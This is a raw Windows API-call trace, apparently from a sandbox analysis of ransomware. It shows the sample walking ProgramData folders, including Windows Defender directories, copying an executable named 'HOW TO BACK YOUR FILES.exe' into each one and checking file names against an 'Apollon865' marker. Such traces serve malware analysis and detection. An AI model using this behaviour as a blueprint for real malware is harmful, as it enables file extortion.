	[0050.749] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b90d8
	[0050.749] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0050.749] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7dba30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.749] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.749] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f7dba30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f7dba30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0050.749] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.749] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe30
	[0050.749] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0050.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0050.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0050.749] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned 65
	[0050.749] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US"
	[0050.749] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.749] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.750] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.750] GetLastError () returned 0x0
	[0050.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.750] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.750] CloseHandle (hObject=0x15c) returned 1
	[0050.750] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.750] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.750] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.750] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.750] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.750] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="confident.cov" | out: lpString1="confident.cov") returned="confident.cov"
	[0050.750] lstrlenW (lpString="confident.cov") returned 13
	[0050.750] lstrlenW (lpString="Apollon865") returned 10
	[0050.750] lstrcmpiW (lpString1="fident.cov", lpString2="Apollon865") returned 1
	[0050.750] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="fyi.cov" | out: lpString1="fyi.cov") returned="fyi.cov"
	[0050.750] lstrlenW (lpString="fyi.cov") returned 7
	[0050.750] lstrlenW (lpString="Apollon865") returned 10
	[0050.751] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="generic.cov" | out: lpString1="generic.cov") returned="generic.cov"
	[0050.751] lstrlenW (lpString="generic.cov") returned 11
	[0050.751] lstrlenW (lpString="Apollon865") returned 10
	[0050.751] lstrcmpiW (lpString1="eneric.cov", lpString2="Apollon865") returned 1
	[0050.751] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="urgent.cov" | out: lpString1="urgent.cov") returned="urgent.cov"
	[0050.751] lstrlenW (lpString="urgent.cov") returned 10
	[0050.751] lstrlenW (lpString="Apollon865") returned 10
	[0050.751] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog"
	[0050.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0050.751] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0050.751] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned 53
	[0050.751] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog") returned="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog"
	[0050.751] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.751] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\activitylog\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.751] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.752] GetLastError () returned 0x0
	[0050.752] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.752] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.752] CloseHandle (hObject=0x15c) returned 1
	[0050.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.752] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.752] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.752] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.752] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.752] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender") returned="C:\\ProgramData\\Microsoft\\Windows Defender"
	[0050.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0050.752] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0050.752] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows Defender") returned 41
	[0050.752] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender") returned="C:\\ProgramData\\Microsoft\\Windows Defender"
	[0050.752] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.752] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.753] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.753] GetLastError () returned 0x0
	[0050.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.753] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.753] CloseHandle (hObject=0x15c) returned 1
	[0050.753] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.753] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.753] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f801b90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.753] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.753] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.753] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Definition Updates" | out: lpString1="Definition Updates") returned="Definition Updates"
	[0050.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fde8
	[0050.753] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf898
	[0050.753] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdf0 | out: ListHead=0x5b76b0, ListEntry=0x59fdf0) returned 0x59fdd0
	[0050.753] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f801b90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f801b90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0050.753] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0050.753] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LocalCopy", cAlternateFileName="LOCALC~1")) returned 1
	[0050.754] lstrcmpiW (lpString1="LocalCopy", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.754] lstrcmpiW (lpString1="LocalCopy", lpString2="Apollon865.txt.exe") returned 1
	[0050.754] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="LocalCopy" | out: lpString1="LocalCopy") returned="LocalCopy"
	[0050.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe08
	[0050.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5c8f30
	[0050.754] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe10 | out: ListHead=0x5b76b0, ListEntry=0x59fe10) returned 0x59fdf0
	[0050.754] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f89a110, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f89a110, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Quarantine", cAlternateFileName="QUARAN~1")) returned 1
	[0050.754] lstrcmpiW (lpString1="Quarantine", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.754] lstrcmpiW (lpString1="Quarantine", lpString2="Apollon865.txt.exe") returned 1
	[0050.754] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Quarantine" | out: lpString1="Quarantine") returned="Quarantine"
	[0050.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe28
	[0050.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a920
	[0050.754] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe30 | out: ListHead=0x5b76b0, ListEntry=0x59fe30) returned 0x59fe10
	[0050.754] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scans", cAlternateFileName="")) returned 1
	[0050.754] lstrcmpiW (lpString1="Scans", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.754] lstrcmpiW (lpString1="Scans", lpString2="Apollon865.txt.exe") returned 1
	[0050.754] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Scans" | out: lpString1="Scans") returned="Scans"
	[0050.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0050.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5528
	[0050.754] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fe30
	[0050.754] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1
	[0050.754] lstrcmpiW (lpString1="Support", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0050.754] lstrcmpiW (lpString1="Support", lpString2="Apollon865.txt.exe") returned 1
	[0050.754] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="Support" | out: lpString1="Support") returned="Support"
	[0050.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fe48
	[0050.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x64) returned 0x5c8fa0
	[0050.754] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fe50 | out: ListHead=0x5b76b0, ListEntry=0x59fe50) returned 0x59fd30
	[0050.754] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 0
	[0050.754] FindClose (in: hFindFile=0x5ca4d0 | out: hFindFile=0x5ca4d0) returned 1
	[0050.755] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fe50
	[0050.755] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Support", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Support") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Support"
	[0050.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8fa0 | out: hHeap=0x580000) returned 1
	[0050.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0050.755] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows Defender\\Support") returned 49
	[0050.755] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Support" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Support") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Support"
	[0050.755] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.755] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.755] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.755] GetLastError () returned 0x0
	[0050.755] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.755] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.755] CloseHandle (hObject=0x15c) returned 1
	[0050.755] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.756] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.756] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.756] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.756] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.756] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="MPLog-07132009-221054.log" | out: lpString1="MPLog-07132009-221054.log") returned="MPLog-07132009-221054.log"
	[0050.756] lstrlenW (lpString="MPLog-07132009-221054.log") returned 25
	[0050.756] lstrlenW (lpString="Apollon865") returned 10
	[0050.756] lstrcmpiW (lpString1="221054.log", lpString2="Apollon865") returned -1
	[0050.756] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans"
	[0050.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0050.756] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0050.756] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans") returned 47
	[0050.756] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans"
	[0050.756] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.756] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.757] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.757] GetLastError () returned 0x0
	[0050.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.757] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.757] CloseHandle (hObject=0x15c) returned 1
	[0050.757] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.757] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.757] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f827cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f827cf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0050.757] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.757] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.757] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="History" | out: lpString1="History") returned="History"
	[0050.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0050.757] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x70) returned 0x59a8a8
	[0050.757] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fe30
